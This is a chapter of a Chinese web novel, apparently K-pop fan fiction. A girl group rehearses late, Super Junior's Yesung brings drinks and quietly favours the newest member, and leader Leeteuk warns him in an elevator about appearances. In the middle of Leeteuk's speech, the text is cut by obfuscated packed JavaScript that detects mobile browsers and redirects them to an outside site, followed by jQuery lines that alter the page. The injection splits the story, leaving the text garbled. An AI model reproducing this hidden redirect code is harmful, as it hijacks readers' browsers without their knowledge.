郑河恩站起来，拍了拍手：“好了，不要想那些有的没的了。公司让我们做什么，我们就做什么。现在公司让我们准备回归，那就把回归做到最好。来，站起来，再练一遍《Babe》的走位。”
“内！”众人齐声应道，纷纷站起来走向练习室中央。
音乐响起来的那一刻，所有的疑虑和不安都被暂时抛在了脑后。
练习持续到傍晚，中间只休息了十五分钟吃了个饭团。
姜智恩是下午才来的，她上午在学校有考试，考完试就匆匆赶了过来。
她推门进来的时候，八个人正汗流浃背地练着副歌部分的队形变换。
“智恩来了？”金草娥第一个看到她，招了招手，“快过来，正好练到你的部分。”
姜智恩放下书包，换好练习鞋，小跑着加入进去。
她的part不多——毕竟是后加入的成员，第二张迷你专辑里只有两首歌有她的声音。但那两首歌的分量都不轻，一首是主打歌《Babe》的bridge部分，另一首是收录曲《Star》的整段副歌。
李秀满说过，不在出道曲里给她太多part，是为了让她先适应舞台，不要一上来就承受太大的压力。但《Star》这首歌，几乎是为她量身定做的。
旋律线悠长，情感层次丰富，正好能发挥她声线的优势。
“智恩啊，bridge部分进的时候，不要太急。”郑河恩走过来，手搭在她肩上，“你听好鼓点的节奏，三拍之后吸气，第四拍起。来，我帮你数。”
郑河恩站在她旁边，一边打拍子一边低声哼唱。
姜智恩闭上眼睛，感受音乐的流动。鼓点、贝斯、合成器的声音一层层叠加，像潮水一样涌过来。
她在心里默数着节拍。
一、二、三、吸气。
开口唱。
她的声音在练习室里响起，清亮又带着一丝沙哑的质感。
八个人都停了下来，看着她。
唱完最后一句，姜智恩睁开眼睛，发现所有人都盯着她看，脸微微红了。
“怎么了？哪里不对吗？”
“没有不对。”金草娥走过来，眼睛亮亮的，“智恩啊，你的声音真的太好听了。真的。”
“真的。”李彩潾点头如捣蒜，“我听你唱这首歌，鸡皮疙瘩都起来了。”
“所以说嘛，”郑河恩嘴角上扬，“我们忙内是秘密武器。”
姜智恩不好意思地低下头，耳朵尖泛着淡淡的粉色。
“再来一遍。”郑河恩拍了拍手，“这次所有人一起，从副歌到bridge再到最后的高潮部分。准备好了吗？”
“准备好了！”
音乐再次响起。
九个人的声音在练习室里交织，像九条不同颜色的丝线被编织在一起。
窗外，路灯一盏接一盏地亮起来。
然而练习室的灯，一直亮到了深夜。
姜智恩看着忙碌的成员们，发自内心的笑出来。原来，出道这么好。
*
练习室的灯亮到深夜十一点的时候，门被敲响了。
不是那种礼貌性的轻叩，而是带着几分熟稔的、节奏分明的三下——咚、咚咚。
郑河恩听出这个敲法，挑了挑眉，看向门口。
门推开，金钟沄探进半个身子，手里拎着两个巨大的咖啡托盘，上面整整齐齐码着十几杯咖啡。
他身后还跟着一个帮忙拎东西的工作人员，怀里抱着几袋纸盒。
“打扰了。”金钟沄笑盈盈地走进来，目光飞快地扫过练习室，在姜智恩身上停留了不到一秒就移开了，“想着你们练到这个点应该渴了，顺路买了咖啡过来。”
“哇，艺声前辈！”崔书妍第一个冲过去，眼睛发光，“是冰美式吗？”
“有冰美式，也有拿铁和热可可。”金钟沄把托盘放在地上，开始一杯一杯往外拿，“你们自己挑。热可可是给……”他顿了顿，目光不经意地掠过姜智恩，“给嗓子不太舒服的人准备的。练歌练多了喝冰的不好。”
姜智恩站在人群后面，抿了抿嘴唇。
金草娥敏锐地捕捉到了什么，嘴角微微翘起，但没有说话，只是随手拿了一杯冰美式，让开了位置。
成员们一拥而上，叽叽喳喳地道谢。
金钟沄一一回应，态度亲切但不越界，和每个成员都说上两句话，却不会对任何一个人过分热络。
除了——
“智恩xi。”他把最后一杯热可可递过去，声音放低了一些，“今天考试怎么样？”
姜智恩接过杯子，掌心贴着温热的杯壁，抬头看他。
金钟沄站在练习室的灯光下，穿着一件简单的黑色卫衣，头发没有做造型，软塌塌地搭在额前，和舞台上那个光芒万丈的Super Junior艺声判若两人。
“还可以。”她小声回答，“数学有点难，但应该能及格。”
“及格就行。”金钟沄笑了，“反正在这个行业，没人看你数学考了几分。”
姜智恩忍不住笑了一下，低下头喝了一口热可可。
甜度刚好，是她喜欢的味道。
两个人的对话不超过二十秒，也没有任何越界的举动。但金钟沄退出练习室的时候，在走廊里被人叫住了。
“钟沄啊。”
是利特。
Super Junior的队长靠在走廊的墙壁上，双手插在外套口袋里，表情看起来淡淡的，但金钟沄认识他太多年了，一眼就看出了那双眼睛里的审视意味。
“哥怎么在这里？”金钟沄走过去，语气轻松，“不是说要回宿舍吗？”
“本来要走的，看到你车停在楼下，就等了一会儿。”利特站直身体，和他并肩往电梯方向走，“咖啡送完了？”
“嗯。”
“九个人，你买了十二杯咖啡。”利特的声音不紧不慢，“算得挺仔细。”
金钟沄没有说话。
两个人走进电梯，利特按了地下一层的按钮。电梯门关上的瞬间，密闭的空间里只剩下电梯运行的嗡嗡声。
“钟沄啊。”利特看着电梯门上模糊的倒影，语气依然是那种温和的、哥哥式的口吻，“我没有要干涉你的意思。但是你最近，是不是对XOX的那个新成员太照顾了？”
金钟沄沉默了两秒。
“哥觉得我越界了？”
“我没有这么说。”利特转过身来，认真地看着他，“我只是在提醒你。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377927|199633||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你现在是Super Junior的成员，是大主唱，更是团队的核心。你的每一个举动，都会被放大、被解读、被用来做文章。你对姜智恩xi好，别人不会觉得你是热心肠的前辈，只会猜测你们之间是不是有什么。”
“可是……”
“我知道你没有恶意。”利特打断了他，“但这个世界不是由‘有没有恶意’决定的，是由‘看起来像什么’决定的。你在这个圈子里待了这么久，应该比我清楚。”
金钟沄垂下眼睛，没有反驳。
电梯到达地下一层，门打开了。
利特没有走出去，而是按住了开门键，看着金钟沄。
“我不是要你冷落她或者疏远她。该做的、该帮的，你还是可以帮。但是……”他的语气加重了一些，“把握好分寸。你的上面有公司、有团队、有粉丝、有无数双眼睛。如果你因为自己的感情，不管那是什么感情，给团队带来了麻烦，那代价不是你一个人能承担的。”
金钟沄抬起头，看着利特的眼睛。
那双眼睛里没有责备，只有一种沉甸甸的责任感。
金钟沄太熟悉这种眼神了——因为每天早上他照镜子的时候，也在自己的眼睛里看到过同样的东西。
“哥。”他开口了，声音比平时低了一些，带着一种罕见的坦诚，“我……对姜智恩xi确实不太一样。”
利特的表情没有变化，只是安静地听着。
“但我不知道那是什么。”金钟沄继续说，像是在整理自己的思绪，“不是那种……至少现在不是。我只是觉得她不容易，一个人扛着那么多东西走进来，什么都要从头学，什么都要适应。我想帮她，仅此而已。”
他顿了顿，补充道：“也许比帮别人多了一点点。但我向你保证，我不会让这种‘多一点’影响到团队。以后我会注意的，不会让人误会。”
利特看了他很久，久到电梯的灯闪了一下，发出即将关闭的提示音。
他终于松开了按住开门键的手，点了点头。
“好。我相信你。”
他走出电梯，走了两步又停下来，回头看了金钟沄一眼。
“还有，钟沄啊。”
“嗯？”
“能坦率地说出来，这本身就是一种负责。”利特的表情柔和了一些，“你比我刚当队长那会儿强多了。”
电梯门缓缓合上，金钟沄一个人站在里面，嘴角慢慢弯起来。
他低头看了一眼手机，屏幕亮着，是姜智恩三分钟前发来的消息。
【钟云，热可可很好喝。谢谢。考试的事也谢谢关心。】
他想了想，打了几个字又删掉，删掉又打，最后只回了一句：【早点回去休息，别太累了。】
发完之后，他把手机收进口袋，靠在电梯壁上，闭上眼睛。
利特哥说得对。
分寸感很重要。
但有些东西，不是想控制就能控制得住的。
比如那颗糖递出去的那一刻，比如热可可买成她喜欢的口味的那一刻，比如每一次目光不由自主地寻找她的那一刻。
金钟沄睁开眼睛，看着电梯镜面里自己的脸。
“你完了。”他对自己说，语气里带着一点无奈的笑意。